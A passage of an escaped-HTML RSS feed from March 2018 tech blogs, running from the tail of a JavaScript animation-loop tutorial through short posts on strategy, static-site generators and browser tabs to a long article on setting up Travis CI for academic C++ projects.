&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;const&lt;/span&gt; getTime &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token keyword"&gt;typeof&lt;/span&gt; &lt;span class="token dom variable"&gt;performance&lt;/span&gt; &lt;span class="token operator"&gt;===&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;function&amp;#x27;&lt;/span&gt; &lt;span class="token operator"&gt;?&lt;/span&gt; &lt;span class="token dom variable"&gt;performance&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token property-access"&gt;now&lt;/span&gt; &lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token known-class-name class-name"&gt;Date&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token property-access"&gt;now&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;const&lt;/span&gt; box &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token dom variable"&gt;document&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token method function property-access"&gt;querySelector&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token string"&gt;&amp;#x27;.Box&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token comment"&gt;// Initial position&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;let&lt;/span&gt; position &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token number"&gt;0&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token comment"&gt;// Initial time&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;let&lt;/span&gt; lastUpdate &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token function"&gt;getTime&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;function&lt;/span&gt; &lt;span class="token function"&gt;animate&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token keyword"&gt;const&lt;/span&gt; now &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token function"&gt;getTime&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token comment"&gt;// This is the main part&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token comment"&gt;// We are checking how much time has passed since the last update&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token comment"&gt;// and translating that to frames&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token keyword"&gt;const&lt;/span&gt; delta &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token punctuation"&gt;(&lt;/span&gt;now &lt;span class="token operator"&gt;-&lt;/span&gt; lastUpdate&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token operator"&gt;/&lt;/span&gt; &lt;span class="token constant"&gt;FRAME_DURATION&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token comment"&gt;// Updating scene logic&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token comment"&gt;// We want to move the box 1px per each 16.66ms (60fps)&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token comment"&gt;// so we are multipling 1px with the number of frames passed&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  position &lt;span class="token operator"&gt;+=&lt;/span&gt; &lt;span class="token number"&gt;1&lt;/span&gt; &lt;span class="token operator"&gt;*&lt;/span&gt; delta&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token comment"&gt;// Render updated scene&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  box&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token property-access"&gt;style&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token property-access"&gt;transform&lt;/span&gt; &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token template-string"&gt;&lt;span class="token template-punctuation string"&gt;`&lt;/span&gt;&lt;span class="token string"&gt;translateX(&lt;/span&gt;&lt;span class="token interpolation"&gt;&lt;span class="token interpolation-punctuation punctuation"&gt;${&lt;/span&gt; position &lt;span class="token interpolation-punctuation punctuation"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class="token string"&gt;px)&lt;/span&gt;&lt;span class="token template-punctuation string"&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token comment"&gt;// Update last updated time&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  lastUpdate &lt;span class="token operator"&gt;=&lt;/span&gt; now&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token comment"&gt;// Fake 10fps using &amp;quot;setTimeout&amp;quot;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token function"&gt;setTimeout&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;animate&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token number"&gt;100&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token function"&gt;animate&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;We fixed the timing problem, and our box is moving 60px per second.
Now we can put back &lt;code&gt;requestAnimationFrame&lt;/code&gt; instead of &lt;code&gt;setTimeout&lt;/code&gt;,
and we will get smooth animation without timing problems.&lt;/p&gt;
&lt;p&gt;Check all examples side by side comparison:&lt;/p&gt;

&lt;p&gt;Hopefully you learned something reading this.
I hope I&amp;#x27;ll write more posts about three.js and JavaScript game development in the future.&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Sun, 18 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/javascript-animation-loop/</guid></item><item><title>Good Strategy/Bad Strategy by Richard P. Rumelt</title><link>https://ilearnt.com/blog/goodstrategy/</link><description>&lt;p&gt;I&amp;rsquo;ve had this book a while but never got around to reading it properly. One of my colleagues at work was listening to the audio version of it and recommended it. This was an excellent read and very relevant to what is happening at the company I am working at at the moment. For me the key takeaway was that what most people call strategy is not actually strategy but vision or goals. Strategy is setting a direction and what needs to happen to achieve it. The observations about the approaches of Walmart and Cisco were particularly good.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Sat, 17 Mar 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/goodstrategy/</guid></item><item><title>Wishbone release 3.1.0</title><link>https://smetj.net/wishbone_release_3.1.0.html</link><description>&lt;p&gt;Wishbone 3.1.0 release.&lt;/p&gt;
&lt;div class="section" id="documentation"&gt;
&lt;h2&gt;Documentation&lt;/h2&gt;
&lt;p&gt;&lt;a class="reference external" href="https://wishbone.readthedocs.io"&gt;https://wishbone.readthedocs.io&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="downloads"&gt;
&lt;h2&gt;Downloads&lt;/h2&gt;
&lt;p&gt;Download release directly from Github: &lt;a class="reference external" href="https://github.com/smetj/wishbone/releases/tag/3.1.0"&gt;https://github.com/smetj/wishbone/releases/tag/3.1.0&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Download updated Docker container: &lt;code class="text"&gt;smetj/wishbone:3.1.0&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="builds-and-testing"&gt;
&lt;h2&gt;Builds and testing&lt;/h2&gt;
&lt;p&gt;&lt;a class="reference external" href="https://travis-ci.org/smetj/wishbone"&gt;https://travis-ci.org/smetj/wishbone&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="release-notes"&gt;
&lt;h2&gt;Release notes&lt;/h2&gt;
&lt;blockquote&gt;
&lt;dl class="docutils"&gt;
&lt;dt&gt;Features:&lt;/dt&gt;
&lt;dd&gt;&lt;ul class="first last simple"&gt;
&lt;li&gt;Added wishbone.module.output …&lt;/li&gt;&lt;/ul&gt;&lt;/dd&gt;&lt;/dl&gt;&lt;/blockquote&gt;&lt;/div&gt;</description><author>Jelle Smet</author><pubDate>Sat, 17 Mar 2018 11:00:00 GMT</pubDate><guid isPermaLink="true">https://smetj.net/wishbone_release_3.1.0.html</guid></item><item><title>Narrabundah Hill, dawn, March 2018</title><link>http://michaelhoney.com/writing/2018/3/17/narrabundah-hill-dawn-march-2018</link><description>&lt;figure class="
              sqs-block-image-figure
              intrinsic
            "&gt;
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                &lt;img alt="" height="968" src="https://images.squarespace-cdn.com/content/v1/5244d189e4b0136e0a44003d/1521257828549-KU4HV9XYL5NLF9BNI21L/image-asset.jpeg?format=1000w" width="1920" /&gt;

            
          
        
          
        

        
      
        &lt;/figure&gt;</description><author>Michael Honey: Writing - michaelhoney.com</author><pubDate>Sat, 17 Mar 2018 05:37:46 GMT</pubDate><guid isPermaLink="true">http://michaelhoney.com/writing/2018/3/17/narrabundah-hill-dawn-march-2018</guid></item><item><title>Introduction to MobX 4 for React/Redux Developers</title><link>https://www.swyx.io/introduction-to-mobx-4-for-reactredux-developers-3k07</link><description>&lt;p&gt;an introduction to mobx 4 for people coming from react and redux&lt;/p&gt;</description><author>swyx's site RSS Feed</author><pubDate>Sat, 17 Mar 2018 04:19:23 GMT</pubDate><guid isPermaLink="true">https://www.swyx.io/introduction-to-mobx-4-for-reactredux-developers-3k07</guid></item><item><title>Speeding up org-static-blog</title><link>https://bastibe.de/2018-03-17-speeding-up-org-static-blog.html</link><description>&lt;p&gt;Three years ago, I had enough of all the static site generators out there. Over the life of this blog, I had used &lt;a href="http://bastibe.de/2012-07-18-blogging-with-pelican.html"&gt;Octopress, then Pelican&lt;/a&gt;, then &lt;a href="http://bastibe.de/2013-11-13-blogging-with-emacs.html"&gt;Coleslaw&lt;/a&gt;, then &lt;a href="http://bastibe.de/2014-05-07-speeding-up-org-publishing.html"&gt;org-mode&lt;/a&gt;, and then wrote my own static site generator, &lt;a href="https://github.com/bastibe/org-static-blog"&gt;org-static-blog&lt;/a&gt;. Above all, org-static-blog is &lt;em&gt;simple&lt;/em&gt;. It iterates over all *.org files in &lt;code&gt;org-static-blog-posts-directory&lt;/code&gt;, and then exports all of these files to HTML. Simple is good. Simple is reliable. Simple means I can fix things.&lt;/p&gt;
&lt;p&gt;However, simple can also mean inefficient. Most glaringly, org-static-blog exports every single blog post three times every time you publish: Once to render the HTML, then once to render the RSS feed, then once to render the Index and Archive pages.&lt;/p&gt;
&lt;p&gt;Today, I finally tackled this problem: Now, org-static-blog only exports each post once, when the *.org file changes. The RSS feed, the Index page, and the Archive page simply read the already-rendered HTML instead of exporting again.&lt;/p&gt;
&lt;p&gt;Thus, a full rebuild of this blog and all of its 85 posts used to take 2:12 min, and now takes 42 s. More importantly, if only one org file changed, the rebuild used to take 1:08 min, and now takes 1.5 s. Things like this are hugely satisfying to me!&lt;/p&gt;</description><author>bastibe.de</author><pubDate>Sat, 17 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://bastibe.de/2018-03-17-speeding-up-org-static-blog.html</guid></item><item><title>Facebook suspends Cambridge Analytica</title><link>https://www.danstroot.com/posts/2018-03-16-facebook-suspends-cambridge-analytica</link><description>&lt;img alt="post image" src="https://danstroot.imgix.net/assets/blog/img/cambridge_analytica.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;A year ago I wrote about how big data, collected from social media sites, and machine learning was used to influence voting in the United States in "The man least likely to succeed in politics". Collecting data, and more specifically social data about each of us, has been described as the "new goldrush". Yet many of us are unaware of how technology is enabling the use (and misuse) of our personal data. As a technologist I find this area fascinating and evolving rapidly.&lt;br /&gt;&lt;br /&gt;This post &lt;a href="https://www.danstroot.com/posts/2018-03-16-facebook-suspends-cambridge-analytica"&gt;Facebook suspends Cambridge Analytica&lt;/a&gt; first appeared on &lt;a href="https://www.danstroot.com"&gt;Dan Stroot's Blog&lt;/a&gt;</description><author>Dan Stroot</author><pubDate>Sat, 17 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.danstroot.com/posts/2018-03-16-facebook-suspends-cambridge-analytica</guid></item><item><title>10x Performance Increases: Optimizing a Static Site</title><link>https://blog.jonlu.ca/posts/optimizing-a-static-site</link><description/><author>JonLuca's Blog</author><pubDate>Fri, 16 Mar 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.jonlu.ca/posts/optimizing-a-static-site</guid></item><item><title>Privacy should be our choice</title><link>https://ilearnt.com/blog/privacyischoice/</link><description>&lt;p&gt;A great quote from this podcast by 23andMe Co-Founder and CEO Anne Wojcicki &amp;hellip;&lt;/p&gt;</description><author>I Learnt</author><pubDate>Fri, 16 Mar 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/privacyischoice/</guid></item><item><title>The Boehm GC Feels Like Cheating</title><link>https://blog.varunramesh.net/posts/the-boehm-gc-feels-like-cheating/</link><description>Integrating garbage collection into a C application was almost too easy.</description><author>Varun Ramesh's Blog</author><pubDate>Fri, 16 Mar 2018 08:58:55 GMT</pubDate><guid isPermaLink="true">https://blog.varunramesh.net/posts/the-boehm-gc-feels-like-cheating/</guid></item><item><title>Your first robot: Sharing with others [5/5]</title><link>https://kyrofa.com/posts/your-first-robot-sharing-with-others-5-5/</link><description>UPDATE: I&amp;rsquo;m leaving this series up for historical purposes, but please note that I no longer recommend Ubuntu Core or snaps for use in robotics.
This is the fifth (and final) blog post in this series about creating your first robot with ROS and Ubuntu Core. In the previous post we discussed methods of control, did a little math, and wrote the ROS driver for our robot. But it still required several nodes to be running at once, and sharing it with the world involved uploading your source code somewhere and convincing people to install ROS, build your package, and use it.</description><author>kyrofa's blog</author><pubDate>Fri, 16 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://kyrofa.com/posts/your-first-robot-sharing-with-others-5-5/</guid></item><item><title>Selling strategy with Chris Do</title><link>https://yasha.solutions/selling-strategy-with-chris-do/</link><description>Strategy is everything.
But it is not always understood this way – and can be a tough sell sometime.
 Here is an interesting discussion around the topic:
Part 1: Part 2: Enjoy!</description><author>Yasha Solutions</author><pubDate>Thu, 15 Mar 2018 10:58:06 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/selling-strategy-with-chris-do/</guid></item><item><title>Announcing my first online course</title><link>https://nicolaiarocci.com/announcing-my-first-online-course/</link><description>&lt;p&gt;I am super excited to announce the launch of &lt;a href="https://training.talkpython.fm/courses/explore_eve/eve-building-restful-mongodb-backed-apis-course"&gt;Eve: Building RESTful APIs with
MongoDB and Flask&lt;/a&gt;, a brand new TalkPython Training course.&lt;/p&gt;
&lt;p&gt;Authoring this course has been a new experience for me, and I must say that
I very much enjoyed every minute of it. Finding myself in the exciting position
being at the same time both the project author and the instructor, I did my
best to focus on the typical issues I know from experience most people face
when they start setting up their first RESTful web service with Flask and Eve.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Thu, 15 Mar 2018 10:16:52 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/announcing-my-first-online-course/</guid></item><item><title>No More Primitives - What Python and Java Get Wrong</title><link>https://blog.varunramesh.net/posts/no-more-primitives/</link><description>Many languages distinguish between primitives on the stack and objects on the heap. Others only have objects, and thus require primitives to aways be boxed. It turns out you can get the best of both worlds.</description><author>Varun Ramesh's Blog</author><pubDate>Thu, 15 Mar 2018 05:05:03 GMT</pubDate><guid isPermaLink="true">https://blog.varunramesh.net/posts/no-more-primitives/</guid></item><item><title>The Obesity Code</title><link>https://june.kim/obesity-code/</link><author>june.kim</author><pubDate>Thu, 15 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/obesity-code/</guid></item><item><title>Cobalt Dungeon Dev 01: Creating a New Room</title><link>https://thomashunter.name/posts/2018-03-15-crossover-dev-01-creating-a-new-room</link><author>Thomas Hunter II</author><pubDate>Thu, 15 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2018-03-15-crossover-dev-01-creating-a-new-room</guid></item><item><title>Open tabs are cognitive spaces</title><link>https://rybakov.com/blog/open_tabs_are_cognitive_spaces/</link><description>&lt;p&gt;Nobody actually wants to use a web browser. It becomes evident the second you open your browser and notice that you don&amp;rsquo;t have internet connection.
What we like about browsers is what they offer on the other side. What they connect us to. In that sense, browsers are transitory spaces - similar to airports, planes and train stations. Most of us have lost our childish curiosity towards these spaces - we go there because we want to arrive somewhere else.&lt;/p&gt;
&lt;p&gt;Arriving somewhere else with early browsers was quite one-dimensional - you clicked your way from one website to the next, in the same window. You surfed. You bookmarked the pages that you wanted to return to.&lt;/p&gt;
&lt;p&gt;Later, as the web became richer, you sometimes had more than one browser window open. I vividly remember having seven Internet Explorer windows open, thinking to myself &amp;ldquo;this is way too much to keep track of!&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;Right now, my Firefox has 477 tabs open.&lt;/p&gt;
&lt;p&gt;How could this happen?&lt;/p&gt;
&lt;h4 id="tabs-are-externalized-cognition"&gt;Tabs are externalized cognition&lt;/h4&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Wed, 14 Mar 2018 16:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/open_tabs_are_cognitive_spaces/</guid></item><item><title>Building the Fetchr Data Science Infra on AWS with Presto and Airflow</title><link>https://bytepawn.com/fetchr-airflow.html</link><description>&lt;p&gt;We used Hive/Presto on AWS together with Airflow to rapidly build out the Data Science Infrastructure at Fetchr in less than 6 months.&lt;br /&gt;&lt;br /&gt;&lt;img alt="Warehouse DAG" src="/images/warehouse-dag.png" style="width: 400px;" /&gt;&lt;/p&gt;</description><author>Bytepawn - Marton Trencseni</author><pubDate>Wed, 14 Mar 2018 01:00:00 GMT</pubDate><guid isPermaLink="true">https://bytepawn.com/fetchr-airflow.html</guid></item><item><title>Thoughts on Travis CI</title><link>https://bastian.rieck.me/blog/2018/travis_ci_thoughts/</link><description>&lt;p&gt;This article details some of my experiences with &lt;a href="http://travis-ci.org"&gt;Travis CI&lt;/a&gt;,
aiming to make this service more accessible to those who—like
me— do not consider themselves to be “proper” software
developers.&lt;/p&gt;
&lt;h1 id="prelude-and-history"&gt;Prelude and history&lt;/h1&gt;
&lt;p&gt;I am by no means a professional software developer, but my job offers me the
possibility to churn out some code more often than not. Naturally, I want my
code to be used by other people—especially when said code is part of a
publication. There is just one catch: code does not exist in a vacuum but is
part of some ecosystem. Even when you are developing everything in Python, a
language that arguably tries to hide a lot of complexity so that one is able
to focus on the task at hand, your code is not an island. Save for extremely
trivial programs, you will probably be using libraries, such as the &lt;em&gt;trinity
of data science&lt;/em&gt;, i.e. &lt;code&gt;import numpy as np&lt;/code&gt;, &lt;code&gt;import scipy as sp&lt;/code&gt;, and last,
but certainly not least, &lt;code&gt;import matplotlib.pyplot as plt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Your users, however, might have radically different configurations—it
is well possible that some have more recent versions of all packages, while
others will still be running the first release of Ubuntu. Some of them, and
this is really hard for me to admit, may not even be running &lt;a href="https://www.archlinux.org"&gt;the best Linux
distribution in the world&lt;/a&gt;. Some of them may not
even be running a Linux operating system!&lt;/p&gt;
&lt;p&gt;Given this untidy state of affairs, how can you at least make &lt;em&gt;some&lt;/em&gt; notion
of credible attempt at pretending to support your code for more than &lt;em&gt;your&lt;/em&gt;
machine only? That is where &lt;em&gt;continuous integration&lt;/em&gt; comes in! Originally a
technique in &lt;em&gt;test-driven development&lt;/em&gt;, CI is supposed to make your lifer a
tad easier by ensuring that the changes you make do not stop the project in
total from working. This is achieved by integrating your changes often into
the current master branch of your repository, and checking that all changes
you make do not break the build.&lt;/p&gt;
&lt;p&gt;Professional software development companies set up their own build servers,
thereby ensuring that the product still is built as per spec. How does this
pertain exactly to us academics?&lt;/p&gt;
&lt;h1 id="software-development-in-academia"&gt;Software development in academia&lt;/h1&gt;
&lt;p&gt;Most software developed in academia is held together by the same ingredients,
viz. hope, the tears of Ph.D. students, and sheer faith. Code is supposed to
work until the deadline and, preferably, until the paper has been accepted.
For many students, &lt;code&gt;git&lt;/code&gt; is something one has heard of in that pesky software
engineering class. The full power of version control systems is often not
appreciated, even by research group leaders. Let me describe you a nice
scenario: Suppose you are working towards the important deadline.
Suddenly, one person (Alice) in your team discovers that the main algorithm
has a bug. “Woe is me”, you say. But Alice, being very good at what
she does, fixes the bug and after a few tense minutes she announces that the
results you report in the paper still hold. You submit the paper early and go
home to sleep.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;This&lt;/em&gt; is the kind of magic that continuous integration can bring to your
projects if you care to use it. Read on if you are interested.&lt;/p&gt;
&lt;h1 id="the-magic"&gt;The magic&lt;/h1&gt;
&lt;p&gt;In a nutshell, &lt;a href="https://travis-ci.org"&gt;Travis CI&lt;/a&gt; “merely” provides
a set of virtual machines (featuring different operating systems even!) on
which you can &lt;em&gt;build&lt;/em&gt; and &lt;em&gt;run&lt;/em&gt; your code. And the best thing is that this works
automatically, whenever you update your repository via &lt;code&gt;git push&lt;/code&gt;. No more
worrying about whether that small change you did might have changed all the
calculations—instead, a rather blissful existence.&lt;/p&gt;
&lt;p&gt;Of course, this only works if you invest some time in setting up your project.
At its core, Travis looks for a file called &lt;code&gt;.travis.yml&lt;/code&gt; in your repository.
It is this file that allows you to configure the steps that Travis performs for
each update. This is what a simple file may look like if your project uses
&lt;code&gt;CMake&lt;/code&gt; as its build system and has no additional dependencies:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;language: cpp

os:
  - linux

compiler:
  - gcc

script:
  - mkdir build
  - cd build
  - cmake ../
  - make
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After each &lt;code&gt;git push&lt;/code&gt;, Travis will dutifully clone the repository and execute
all steps that you provide in the &lt;code&gt;script&lt;/code&gt; section. Here, this means creating
a separate &lt;code&gt;build&lt;/code&gt; directory and checking that the project can be built. This
is not much, of course, and does not really help in catching problems with an
algorithm, but it is a start. Suppose you want to ensure that your project is
also compilable with &lt;code&gt;clang&lt;/code&gt;. Just change the corresponding section:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;compiler:
  - clang
  - gcc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or suppose that you want to add Mac OS support:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;os:
  - linux
  - osx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It really is &lt;em&gt;that&lt;/em&gt; simple. Travis will now create a &lt;em&gt;build matrix&lt;/em&gt;, consisting
of two operating systems (Linux and MacOS X) and two compilers (&lt;code&gt;clang&lt;/code&gt; and
&lt;code&gt;gcc&lt;/code&gt;).&lt;/p&gt;
&lt;h1 id="but-i-want-more-magic"&gt;But I want more magic!&lt;/h1&gt;
&lt;p&gt;Coming back to the scenario above, how can Travis help in this case? Well, of
course &lt;em&gt;you&lt;/em&gt; have to provide the tests that Travis needs to run. For example,
I like to create a special &lt;code&gt;test&lt;/code&gt; build target for &lt;code&gt;CMake&lt;/code&gt; and let it execute
my unit tests for me. Unit tests range from banal checks of classes to longer
programs that compare &lt;em&gt;expected&lt;/em&gt; results of algorithms to &lt;em&gt;current&lt;/em&gt; ones. You
will have to take my word for it, but tests like this have helped me multiple
times in the past for various publications. If you are interested in how they
may look, please refer to &lt;a href="https://github.com/Pseudomanifold/Aleph"&gt;Aleph&lt;/a&gt;, my
library for experimenting with topological data analysis. I do not claim that
the code is perfect, but the &lt;code&gt;tests&lt;/code&gt; subdirectory contains numerous unit tests
that may drive home the point I am trying to make here. The best thing is that
the configuration file is not getting needlessly complicated. Due to the nice
feaures of &lt;code&gt;CMake&lt;/code&gt;, it is again sufficient to extend the &lt;code&gt;script&lt;/code&gt; section:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;script:
  - mkdir build
  - cd build
  - cmake ..
  - make
  - CTEST_OUTPUT_ON_FAILURE=1 make test
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The ugly last line is only necessary in order to force the testing harness
of &lt;code&gt;CMake&lt;/code&gt; to be a little more verbose. You can see the output of Travis
for this project &lt;a href="https://travis-ci.org/Pseudomanifold/Aleph"&gt;here&lt;/a&gt;, and you
will see that the unit tests are always executed—giving me peace and
tranquility to some extent.&lt;/p&gt;
&lt;h1 id="so"&gt;So?&lt;/h1&gt;
&lt;p&gt;That is the basic gist of Travis. I think that using such a service can be
beneficial for academical projects. Not only does give &lt;em&gt;you&lt;/em&gt; the confidence
that your code is doing something right, it can also be used to &lt;em&gt;promote&lt;/em&gt;
your research—by providing a repository that is tested under different
platforms, with different compilers, you make it easier for people to actually
&lt;em&gt;use&lt;/em&gt; your cool algorithm (and cite you, of course, lest we forget about
that).&lt;/p&gt;
&lt;h1 id="dependencies"&gt;Dependencies&lt;/h1&gt;
&lt;p&gt;Now you are probably huffing at this article because &lt;em&gt;your&lt;/em&gt; program is more
complicated and has some dependencies. Well, Travis has you covered to some
extent.&lt;/p&gt;
&lt;p&gt;Travis permits you to change the build environment to some extent. For example,
Aleph uses &lt;a href="http://www.boost.org"&gt;Boost&lt;/a&gt; and &lt;a href="http://eigen.tuxfamily.org"&gt;Eigen&lt;/a&gt;.
Since those exist as packages under Ubuntu, the default Linux distribution used
by Travis, I can easily install them in &lt;code&gt;.travis.yml&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;language: cpp

os: linux
sudo: false

addons:
  apt:
    packages:
      - libboost-dev
      - libeigen3-dev
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For Mac OS X, support for &lt;a href="https://brew.sh"&gt;Homebrew&lt;/a&gt; is available, but the use
is slightly more complex:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;before_install:
  - if \[[ &amp;quot;$TRAVIS_OS_NAME&amp;quot; == &amp;quot;osx&amp;quot; ]]; then brew install boost; fi
  - if \[[ &amp;quot;$TRAVIS_OS_NAME&amp;quot; == &amp;quot;osx&amp;quot; ]]; then brew install eigen; fi
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Overall, though, this works just fine.&lt;/p&gt;
&lt;h1 id="troubles"&gt;Troubles&lt;/h1&gt;
&lt;p&gt;I do not want to sound overly enthusiastic here. Adding support for multiple
operating systems and configurations &lt;em&gt;can&lt;/em&gt; be painful. Heck, I often have to
commit multiple times because the build just breaks for some darn reason. It
is a fine balance that one has to achieve here: code should be &lt;em&gt;usable&lt;/em&gt;, but
your time is not infinite.&lt;/p&gt;
&lt;p&gt;Travis unfortunately makes my life sometimes harder than it has to be. While
I am grateful for the free (free!) service they offer, some things just
&lt;em&gt;irk&lt;/em&gt; me:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The default Ubuntu image is old. Like really, really old, viz. the version
of Ubuntu from frigging 2014. As an Arch Linux user, I am stunned. Some of
my time is thus spent correcting for some arcane problems with old package
versions.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The OS X images are strange: the update process of &lt;code&gt;brew&lt;/code&gt; just stalls, and
the same goes for the builds themselves sometimes. I get many e-mails that
tell me that my build &lt;em&gt;errored&lt;/em&gt; (which in Travis lingo does not mean
that the build &lt;em&gt;failed&lt;/em&gt;, but rather that some virtual machine could not be
started).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The number of available images is very small. Ideally, I would like to be
able to check my software on even more variants of Ubuntu but also on other
flavours of Linux. And what about BSD? One of my users may want to install
the software while running an old version of &lt;a href="https://www.openbsd.org"&gt;OpenBSD&lt;/a&gt;
on toaster, so where is the support for that?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
